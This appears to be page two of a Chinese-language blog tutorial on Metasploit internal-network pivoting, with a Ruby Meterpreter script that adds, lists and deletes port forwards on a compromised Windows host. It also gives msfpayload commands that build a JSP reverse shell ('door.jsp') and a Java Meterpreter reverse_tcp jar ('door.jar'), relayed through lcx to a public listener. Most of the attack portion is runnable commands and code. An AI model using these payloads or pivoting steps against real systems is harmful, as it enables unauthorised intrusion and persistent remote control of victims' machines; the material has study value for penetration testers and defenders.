Metasploit内网连接

发表于:2016-2-04 10:39

字体: | 上一篇 | 下一篇 | 我要投稿

 作者:蒂诺隆基    来源:51Testing软件测试网采编

  从刚才portfwd的命令可以知道,其支持add、delete、list命令,因此继续丰富自己的脚本,可以实现这样一个功能,添加端口映射、删除端口映射、查看端口映射。照猫画虎可以写出如下脚本:
# Author: buchedan.org
#-------------------------------------------------------------------------------
################## Variable Declarations ##################
session = client
@@exec_opts = Rex::Parser::Arguments.new(
"-h" => [ true, "Help menu." ],
"-c" => [ true, "include -add -list -del. " ],
"-l" => [ true,  "localport and it is not using." ],
"-r" => [ true,  "remoteip of trying to connect." ],
"-p" => [ true,  "remoteport of trying to connect." ]
)
def usage
print_line("portfwd ")
print_line("Usage: changeport -c add  -l <localport> -r <remoteip> -p <remoteport>")
print_line("Usage: changeport -c list ")
print_line("Usage: changeport -c del -l <localport> ")
print(@@exec_opts.usage)
raise Rex::Script::Completed
end
def message
print_status "portfwd remoteip port to localport"
print_status "http://buchedan.org"
end
################## MAIN ##################
# Parsing of Options
cmd  = nil
lport = nil
rip   = nil
rport = nil
@@exec_opts.parse(args) { |opt, idx, val|
case opt
when "-c"
cmd = val
when "-h"
usage
when "-l"
lport = val
when "-r"
rip = val
when "-p"
rport = val
end
}
if client.platform =~ /win32|win64/
if args.length > 0
# show info
message
case cmd
when "list"
client.run_cmd("portfwd list")
when "add"
if (!lport or !rip or !rport)
print_error("You must supply a local port, remote host, and remote port.")
return
end
client.run_cmd("portfwd add -L 0.0.0.0 -l #{lport} -p #{rport} -r #{rip}")
#print_status("Starting the #{rip}:#{rport} forwarding at local port #{lport}")
when "del"
if(!lport)
print_error("You must supply a local port.")
return
else
client.run_cmd("portfwd delete -L 0.0.0.0 -l #{lport}")
end
end
else
usage
end
else
print_error("This version of Meterpreter is not supported with this Script!")
raise Rex::Script::Completed
end
  放入到/opt/metasploit/msf3/scripts/meterpreter下
  使用方法演示
  可以显示帮助信息,建立映射,显示映射,删除映射。当然鸟语写的不好,只有自己能看懂。
  后来蓦然回首,才发现当初的自己是多么的2,原来meterpreter本身就有这个portfwd功能,可以直接使用,我真是脱裤子放屁了。完全实现了add、list与delete。
  0x02 总结
  本文主要学习,使用lcx做端口转发,将两个内网机器(目标机器和msf)建立连接,同时使用msfpayload进行作为跳板,可以进行继续渗透。最后是简单实现端口映射,了解基本的mterpreter脚本编程。
  这里测试几个常用的:
  Jsp版
  1)生成jsp版反向连接代码
  msfpayload java/jsp_shell_reverse_tcp LHOST=192.168.7.89 LPORT=500 R > /tmp/door.jsp
  Msf中设置,然后在7.89上使用lcx转发即可。
  成功后显示是一个命令行:
  但是好像不能使用meterpreter功能。
  看生成的door.jsp内容
  就是将命令进行了绑定。应该不能升级到meterpreter了。
  Jar包版
  1)创建jar
  msfpayload java/meterpreter/reverse_tcp  LHOST=192.168.7.89  LPORT=500 R > /tmp/door.jar
  公网ip lcx开始监听两端口
  Msf设置
  在客户端运行jar即可
  貌似运行的还很稳定正常
22/2<12
《2023软件测试行业现状调查报告》独家发布~

关注51Testing

联系我们

快捷面板 站点地图 联系我们 广告服务 关于我们 站长统计 发展历程

法律顾问:上海兰迪律师事务所 项棋律师
版权所有 上海博为峰软件技术股份有限公司 Copyright©51testing.com 2003-2024
投诉及意见反馈:webmaster@51testing.com; 业务联系:service@51testing.com 021-64471599-8017

沪ICP备05003035号

沪公网安备 31010102002173号